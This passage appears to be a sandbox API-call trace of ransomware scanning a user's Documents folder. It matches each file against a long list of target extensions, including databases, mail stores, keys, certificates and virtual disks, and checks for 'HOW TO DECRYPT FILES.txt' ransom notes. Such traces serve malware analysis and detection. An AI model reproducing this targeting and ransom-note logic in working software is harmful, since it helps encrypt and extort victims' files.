HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.gz") returned 0 [0089.918] lstrlenA (lpString="*.gz") returned 4 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mkv") returned 0 [0089.918] lstrlenA (lpString="*.mkv") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.eml") returned 0 [0089.918] lstrlenA (lpString="*.eml") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.msg") returned 0 [0089.918] lstrlenA (lpString="*.msg") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.edb") returned 0 [0089.918] lstrlenA (lpString="*.edb") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.accdb") returned 0 [0089.918] lstrlenA (lpString="*.accdb") returned 7 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.odb") returned 0 [0089.918] lstrlenA (lpString="*.odb") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.java") returned 0 [0089.918] lstrlenA (lpString="*.java") returned 6 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.asm") returned 0 [0089.918] lstrlenA (lpString="*.asm") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.pfx") returned 0 [0089.918] lstrlenA (lpString="*.pfx") returned 5 [0089.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.pem") returned 0 [0089.919] lstrlenA (lpString="*.pem") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.p12") returned 0 [0089.919] lstrlenA (lpString="*.p12") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.gpg") returned 0 [0089.919] lstrlenA (lpString="*.gpg") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.vsd") returned 0 [0089.919] lstrlenA (lpString="*.vsd") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.odg") returned 0 [0089.919] lstrlenA (lpString="*.odg") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.raw") returned 0 [0089.919] lstrlenA (lpString="*.raw") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.nef") returned 0 [0089.919] lstrlenA (lpString="*.nef") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.svg") returned 0 [0089.919] lstrlenA (lpString="*.svg") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.psd") returned 0 [0089.919] lstrlenA (lpString="*.psd") returned 5 [0089.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.vmx") returned 0 [0089.919] lstrlenA (lpString="*.vmx") returned 5 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.vmdk") returned 0 [0089.920] lstrlenA (lpString="*.vmdk") returned 6 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.vdi") returned 0 [0089.920] lstrlenA (lpString="*.vdi") returned 5 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.lay6") returned 0 [0089.920] lstrlenA (lpString="*.lay6") returned 6 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mpeg") returned 0 [0089.920] lstrlenA (lpString="*.mpeg") returned 6 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.djvu") returned 0 [0089.920] lstrlenA (lpString="*.djvu") returned 6 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.tiff") returned 0 [0089.920] lstrlenA (lpString="*.tiff") returned 6 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.backup") returned 0 [0089.920] lstrlenA (lpString="*.backup") returned 8 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.pdf") returned 0 [0089.920] lstrlenA (lpString="*.pdf") returned 5 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.cert") returned 0 [0089.920] lstrlenA (lpString="*.cert") returned 6 [0089.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.docm") returned 0 [0089.921] lstrlenA (lpString="*.docm") returned 6 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.xlsm") returned 0 [0089.921] lstrlenA (lpString="*.xlsm") returned 6 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.dwg") returned 0 [0089.921] lstrlenA (lpString="*.dwg") returned 5 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.nd") returned 0 [0089.921] lstrlenA (lpString="*.nd") returned 4 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.tlg") returned 0 [0089.921] lstrlenA (lpString="*.tlg") returned 5 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.lgb") returned 0 [0089.921] lstrlenA (lpString="*.lgb") returned 5 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mov") returned 0 [0089.921] lstrlenA (lpString="*.mov") returned 5 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.xdw") returned 0 [0089.921] lstrlenA (lpString="*.xdw") returned 5 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.ods") returned 0 [0089.921] lstrlenA (lpString="*.ods") returned 5 [0089.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.wav") returned 0 [0089.921] lstrlenA (lpString="*.wav") returned 5 [0089.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.mp3") returned 0 [0089.922] lstrlenA (lpString="*.mp3") returned 5 [0089.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.aiff") returned 0 [0089.922] lstrlenA (lpString="*.aiff") returned 6 [0089.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.flac") returned 0 [0089.922] lstrlenA (lpString="*.flac") returned 6 [0089.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.m4a") returned 0 [0089.922] lstrlenA (lpString="*.m4a") returned 5 [0089.922] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots", pszSpec="*.csv") returned 0 [0089.922] lstrlenA (lpString="*.csv") returned 5 [0089.922] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19ab8fd0, ftCreationTime.dwHighDateTime=0x1d5e53c, ftLastAccessTime.dwLowDateTime=0xa24c6ce0, ftLastAccessTime.dwHighDateTime=0x1d5db4d, ftLastWriteTime.dwLowDateTime=0xa24c6ce0, ftLastWriteTime.dwHighDateTime=0x1d5db4d, nFileSizeHigh=0x0, nFileSizeLow=0x14bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="UvQs5h1cJMlDDVvjMi7m.csv", cAlternateFileName="UVQS5H~1.CSV")) returned 1 [0089.922] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.922] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UvQs5h1cJMlDDVvjMi7m.csv") returned -1 [0089.922] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UvQs5h1cJMlDDVvjMi7m.csv") returned -1 [0089.922] lstrcmpiA (lpString1="", lpString2="UvQs5h1cJMlDDVvjMi7m.csv") returned -1 [0089.922] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\COBqL9w 4CZUgthS.ots") returned="COBqL9w 4CZUgthS.ots" [0089.922] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" [0089.922] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\") returned="" [0089.922] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" [0089.923] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\how to decrypt files.txt")) returned 0x20 [0089.923] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\", lpString2="UvQs5h1cJMlDDVvjMi7m.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.ems") returned 0 [0089.923] lstrlenA (lpString="*.ems") returned 5 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.db") returned 0 [0089.923] lstrlenA (lpString="*.db") returned 4 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.dbf") returned 0 [0089.923] lstrlenA (lpString="*.dbf") returned 5 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.myox") returned 0 [0089.923] lstrlenA (lpString="*.myox") returned 6 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.myo") returned 0 [0089.923] lstrlenA (lpString="*.myo") returned 5 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qbw") returned 0 [0089.923] lstrlenA (lpString="*.qbw") returned 5 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qbb") returned 0 [0089.923] lstrlenA (lpString="*.qbb") returned 5 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qbm") returned 0 [0089.923] lstrlenA (lpString="*.qbm") returned 5 [0089.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qbo") returned 0 [0089.924] lstrlenA (lpString="*.qbo") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qbx") returned 0 [0089.924] lstrlenA (lpString="*.qbx") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qba") returned 0 [0089.924] lstrlenA (lpString="*.qba") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qby") returned 0 [0089.924] lstrlenA (lpString="*.qby") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qbj") returned 0 [0089.924] lstrlenA (lpString="*.qbj") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.ofx") returned 0 [0089.924] lstrlenA (lpString="*.ofx") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.qif") returned 0 [0089.924] lstrlenA (lpString="*.qif") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mye") returned 0 [0089.924] lstrlenA (lpString="*.mye") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mbox") returned 0 [0089.924] lstrlenA (lpString="*.mbox") returned 6 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.eml") returned 0 [0089.924] lstrlenA (lpString="*.eml") returned 5 [0089.924] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.pst") returned 0 [0089.925] lstrlenA (lpString="*.pst") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.ost") returned 0 [0089.925] lstrlenA (lpString="*.ost") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.idx") returned 0 [0089.925] lstrlenA (lpString="*.idx") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.dbx") returned 0 [0089.925] lstrlenA (lpString="*.dbx") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.sql") returned 0 [0089.925] lstrlenA (lpString="*.sql") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mdb") returned 0 [0089.925] lstrlenA (lpString="*.mdb") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.fdb") returned 0 [0089.925] lstrlenA (lpString="*.fdb") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.wab") returned 0 [0089.925] lstrlenA (lpString="*.wab") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.dat") returned 0 [0089.925] lstrlenA (lpString="*.dat") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.txt") returned 0 [0089.925] lstrlenA (lpString="*.txt") returned 5 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.jpeg") returned 0 [0089.925] lstrlenA (lpString="*.jpeg") returned 6 [0089.925] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.jpg") returned 0 [0089.926] lstrlenA (lpString="*.jpg") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.png") returned 0 [0089.926] lstrlenA (lpString="*.png") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.php") returned 0 [0089.926] lstrlenA (lpString="*.php") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.cs") returned 0 [0089.926] lstrlenA (lpString="*.cs") returned 4 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.cpp") returned 0 [0089.926] lstrlenA (lpString="*.cpp") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.rar") returned 0 [0089.926] lstrlenA (lpString="*.rar") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.zip") returned 0 [0089.926] lstrlenA (lpString="*.zip") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.html") returned 0 [0089.926] lstrlenA (lpString="*.html") returned 6 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.htm") returned 0 [0089.926] lstrlenA (lpString="*.htm") returned 5 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.xlsx") returned 0 [0089.926] lstrlenA (lpString="*.xlsx") returned 6 [0089.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.xls") returned 0 [0089.927] lstrlenA (lpString="*.xls") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mp4") returned 0 [0089.927] lstrlenA (lpString="*.mp4") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.ppt") returned 0 [0089.927] lstrlenA (lpString="*.ppt") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.pptx") returned 0 [0089.927] lstrlenA (lpString="*.pptx") returned 6 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.doc") returned 0 [0089.927] lstrlenA (lpString="*.doc") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.dot") returned 0 [0089.927] lstrlenA (lpString="*.dot") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.docx") returned 0 [0089.927] lstrlenA (lpString="*.docx") returned 6 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.7z") returned 0 [0089.927] lstrlenA (lpString="*.7z") returned 4 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.tar") returned 0 [0089.927] lstrlenA (lpString="*.tar") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.bz2") returned 0 [0089.927] lstrlenA (lpString="*.bz2") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.gz") returned 0 [0089.927] lstrlenA (lpString="*.gz") returned 4 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mkv") returned 0 [0089.927] lstrlenA (lpString="*.mkv") returned 5 [0089.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.eml") returned 0 [0089.928] lstrlenA (lpString="*.eml") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.msg") returned 0 [0089.928] lstrlenA (lpString="*.msg") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.edb") returned 0 [0089.928] lstrlenA (lpString="*.edb") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.accdb") returned 0 [0089.928] lstrlenA (lpString="*.accdb") returned 7 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.odb") returned 0 [0089.928] lstrlenA (lpString="*.odb") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 